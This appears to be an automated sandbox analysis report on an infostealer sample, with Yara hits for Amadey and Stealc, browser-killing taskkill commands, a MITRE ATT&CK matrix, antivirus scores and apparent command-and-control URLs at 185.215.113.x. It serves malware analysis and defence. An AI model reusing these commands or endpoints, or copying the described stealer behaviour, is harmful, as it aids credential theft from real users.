Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

8_2_00940B62

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_00941663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

8_2_00941663

Source: b29e59e54d.exe, 00000008.00000000.2703523532.00000000009A2000.00000002.00000001.01000000.0000000A.sdmp, b29e59e54d.exe, 0000001A.00000000.2859812436.00000000009A2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: axplong.exe, axplong.exe, 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Program Manager
Source: b29e59e54d.exe	Binary or memory string: Shell_TrayWnd
Source: 63371c25d6.exe	Binary or memory string: '@Program Manager
Source: firefox.exe, 00000015.00000002.2875037353.000000C16CDFB000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3044378104.0000002786BFB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: 63371c25d6.exe, 00000007.00000002.2737809197.0000000000A9C000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: @Program Manager

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_009ED312 cpuid

6_2_009ED312

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_00958195 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,

8_2_00958195

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_0093D27A GetUserNameW,

8_2_0093D27A

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_0091B952 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

8_2_0091B952

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_008E42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

8_2_008E42DE

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.axplong.exe.9d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.axplong.exe.9d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.axplong.exe.9d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.fd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000003.2634377823.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2072225020.00000000051D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2065985660.0000000004940000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2038538990.0000000005300000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2112575730.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2106923649.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2078807480.0000000000FD1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: Process Memory Space: b29e59e54d.exe PID: 2940, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b29e59e54d.exe PID: 6976, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000007.00000003.2679501298.0000000005070000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2788035589.0000000005070000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2828445859.00000000006C1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2949800933.0000000004A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3013597839.0000000000EEB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2831755373.000000000119B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2737464357.00000000006C1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3011470230.00000000006C1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2739218915.00000000011AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 63371c25d6.exe PID: 1992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 63371c25d6.exe PID: 2460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 63371c25d6.exe PID: 5636, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: b29e59e54d.exe	Binary or memory string: WIN_81
Source: b29e59e54d.exe	Binary or memory string: WIN_XP
Source: b29e59e54d.exe, 0000001A.00000000.2859812436.00000000009A2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: b29e59e54d.exe	Binary or memory string: WIN_XPe
Source: b29e59e54d.exe	Binary or memory string: WIN_VISTA
Source: b29e59e54d.exe	Binary or memory string: WIN_7
Source: b29e59e54d.exe	Binary or memory string: WIN_8

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: Process Memory Space: b29e59e54d.exe PID: 2940, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b29e59e54d.exe PID: 6976, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000007.00000003.2679501298.0000000005070000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2788035589.0000000005070000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2828445859.00000000006C1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2949800933.0000000004A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3013597839.0000000000EEB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2831755373.000000000119B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2737464357.00000000006C1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3011470230.00000000006C1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2739218915.00000000011AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 63371c25d6.exe PID: 1992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 63371c25d6.exe PID: 2460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 63371c25d6.exe PID: 5636, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00961204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		8_2_00961204
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00961806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		8_2_00961806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	121 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	12 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	2 Valid Accounts	12 Software Packing	NTDS	228 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	12 Process Injection	1 Extra Window Memory Injection	Cached Domain Credentials	351 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Scheduled Task/Job	11 Masquerading	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	11 Registry Run Keys / Startup Folder	2 Valid Accounts	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	351 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	21 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	12 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	48%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	55%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	55%	ReversingLabs	Win32.Trojan.AutoitInject

Source	Detection	Scanner	Label	Link
http://185.215.113.16/Jo89Ku7d/index.phpvM	100%	Avira URL Cloud	phishing
http://detectportal.firefox.com0	0%	Avira URL Cloud	safe
http://185.215.113.16/ows	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php1001	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php2001	100%	Avira URL Cloud	phishing
http://185.215.113.16/lfons	100%	Avira URL Cloud	phishing
https://monitor.firefox.comhttps://support.mozilla.orgtestPermissionFromPrincipalbrowser.urlbar.sugg	0%	Avira URL Cloud	safe
http://185.215.113.16/Jo89Ku7d/index.phpvM	21%	Virustotal		Browse
http://185.215.113.16/ows	15%	Virustotal		Browse
http://185.215.113.16/Jo89Ku7d/index.php2001	22%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
ipv4only.arpa	192.0.0.171	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
youtube.com	142.250.185.78	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
spocs.getpocket.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	false		high
185.215.113.206/c4becf79229cb002.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	false		high
http://mozilla.org/#/properties/proposedEnrollment	firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/Jo89Ku7d/index.phpvM	axplong.exe, 00000006.00000003.3263828308.0000000001530000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.0000000001530000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://detectportal.firefox.com/	firefox.exe, 00000015.00000002.2892227537.00000259360B7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://detectportal.firefox.com0	firefox.exe, 00000015.00000002.2920348338.000002593A89F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/schemaVersion	firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.16/Jo89Ku7d/index.php2001	axplong.exe, 00000006.00000002.3288889656.00000000014F8000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value	firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	false		high
https://json-schema.org/draft/2019-09/schema.	firefox.exe, 00000015.00000002.2944981005.0000025940656000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.o	firefox.exe, 00000015.00000002.2963642951.00003172D3A00000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/disableGreaseOnFallback	firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2931474157.000002593B747000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 00000015.00000002.2884059485.0000025934308000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2949650956.0000025941103000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 00000015.00000002.2879062103.0000025928303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.00000259358AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3072972441.000001EF2D1F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3051133453.000001EF29652000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5F0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/insecureFallback	firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A40F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915888122.000002593A2F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915888122.000002593A2CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A49F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3086366052.000001EF2EB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29EEA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3112028417.000001EF30F72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29EDA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	false		high
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 00000015.00000002.2919125459.000002593A62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915569464.000002593A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2919125459.000002593A603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches	firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000015.00000003.2815909694.0000025940698000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2757347333.0000025937E81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915888122.000002593A23A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2756907545.0000025937E3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2757162605.0000025937E60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934447000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E9DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3083282313.000001EF2E582000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29EDA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/userFacingName	firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.com/	firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D570000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 00000015.00000003.2756753958.0000025937E1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2893877831.0000025937600000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000015.00000003.2756585177.0000025938200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2756907545.0000025937E3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2757162605.0000025937E60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E9DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/1	firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/referenceBranch	firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	false		high
